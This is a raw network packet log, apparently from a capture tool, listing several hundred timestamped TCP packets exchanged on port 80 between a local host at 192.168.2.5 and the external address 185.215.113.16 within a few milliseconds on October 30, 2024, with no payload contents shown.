Oct 30, 2024 00:21:30.089808941 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089822054 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.089834929 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089848042 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.089862108 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089875937 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.089890003 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089899063 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.089915991 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089930058 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089937925 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089945078 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089952946 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089963913 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.089966059 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089975119 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089982986 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.089998007 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.090006113 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.090013027 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.090029001 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.090042114 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.090042114 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.090053082 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.090084076 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.090112925 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.090903997 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.090933084 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.090948105 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.090979099 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.090989113 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091002941 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091010094 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091017962 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091026068 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091063023 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091106892 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091135979 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091200113 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091216087 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091232061 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091245890 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091260910 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091264963 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091276884 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091291904 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091300011 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091322899 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091325998 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091334105 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091350079 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091351986 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091361046 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091366053 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091384888 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091418982 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091449976 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091474056 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091490030 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091502905 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091517925 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091531992 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091531992 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091548920 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091559887 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091563940 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091595888 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091630936 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091646910 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091656923 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091660023 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091675043 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091677904 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091695070 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091702938 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091710091 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091726065 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091731071 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091742039 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091749907 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091757059 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091773033 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091774940 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091784000 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091790915 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091804028 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091808081 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.091818094 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091835022 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.091845036 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.092021942 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092037916 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092052937 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092070103 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092078924 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.092084885 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092101097 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092103004 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.092116117 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092124939 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.092138052 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092152119 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.092153072 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092169046 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092190027 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092192888 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.092211008 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092227936 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092242002 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.092246056 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092255116 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.092286110 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.092318058 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092333078 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092348099 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092361927 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.092363119 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092379093 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092391968 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.092395067 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092411041 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092415094 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.092427015 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092441082 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092444897 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.092458010 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092473984 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092494965 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.092494965 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.092508078 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.092597008 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092612028 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092627048 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092641115 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092655897 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092669010 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092681885 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092695951 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092710018 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092725992 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092741013 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092756987 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092770100 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092786074 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092813015 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092827082 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092840910 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092859030 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092874050 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092889071 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092904091 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092919111 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092937946 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092956066 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.092971087 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093044043 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093110085 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093126059 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093139887 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093154907 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093156099 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093173027 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093183994 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093188047 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093211889 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093225002 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093230009 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093240976 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093271017 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093285084 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093285084 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093301058 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093318939 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093327999 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093343973 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093346119 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093358994 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093369007 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093374968 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093390942 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093396902 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093420982 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093456030 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093482971 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093497992 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093513012 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093523026 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093528032 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093532085 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093544006 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093558073 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093564034 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093574047 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093583107 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093619108 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093621016 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093637943 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093652010 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093667984 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093681097 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093699932 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093702078 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093715906 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093732119 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093746901 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093763113 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093777895 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093787909 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093787909 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093787909 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093787909 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093795061 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093811035 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093827963 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.093869925 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093887091 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093887091 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.093995094 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094012022 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094027042 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094043016 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094057083 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.094058037 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094074011 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094079971 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.094089985 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094109058 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094125986 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.094125986 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.094141960 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094149113 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.094158888 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094173908 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094182014 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.094182014 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.094192982 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094197989 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.094240904 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.094240904 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.094774008 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094789028 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094818115 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094832897 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094842911 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.094847918 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094863892 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094878912 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.094882965 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094893932 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.094929934 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.094933033 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094948053 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094963074 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094978094 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.094986916 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.094993114 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095016003 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095026970 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095083952 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095098972 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095114946 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095139027 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095144987 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095160961 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095164061 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095175982 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095189095 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095191956 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095200062 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095208883 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095217943 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095226049 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095235109 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095241070 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095249891 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095257044 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095268011 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095278978 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095284939 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095298052 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095302105 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095328093 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095336914 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095336914 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095345020 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095360041 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095366001 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095376968 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095376968 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095396042 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095412970 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095423937 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095439911 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095454931 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095465899 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095470905 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095484018 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095489025 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095494032 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095504999 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095516920 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095520020 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095526934 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095536947 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095547915 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095562935 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095565081 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095582962 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095585108 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095597982 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095606089 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095616102 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095628023 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095633030 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095638990 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095649004 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095654964 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095666885 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095679998 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095689058 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095696926 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095710993 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095726013 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095731974 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095735073 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095752001 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095761061 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095766068 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095774889 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095783949 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095801115 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.095803022 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095833063 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.095855951 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096056938 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096116066 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096146107 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096160889 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096164942 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096177101 CET	80	59802	185.215.113.16	192.168.2.5
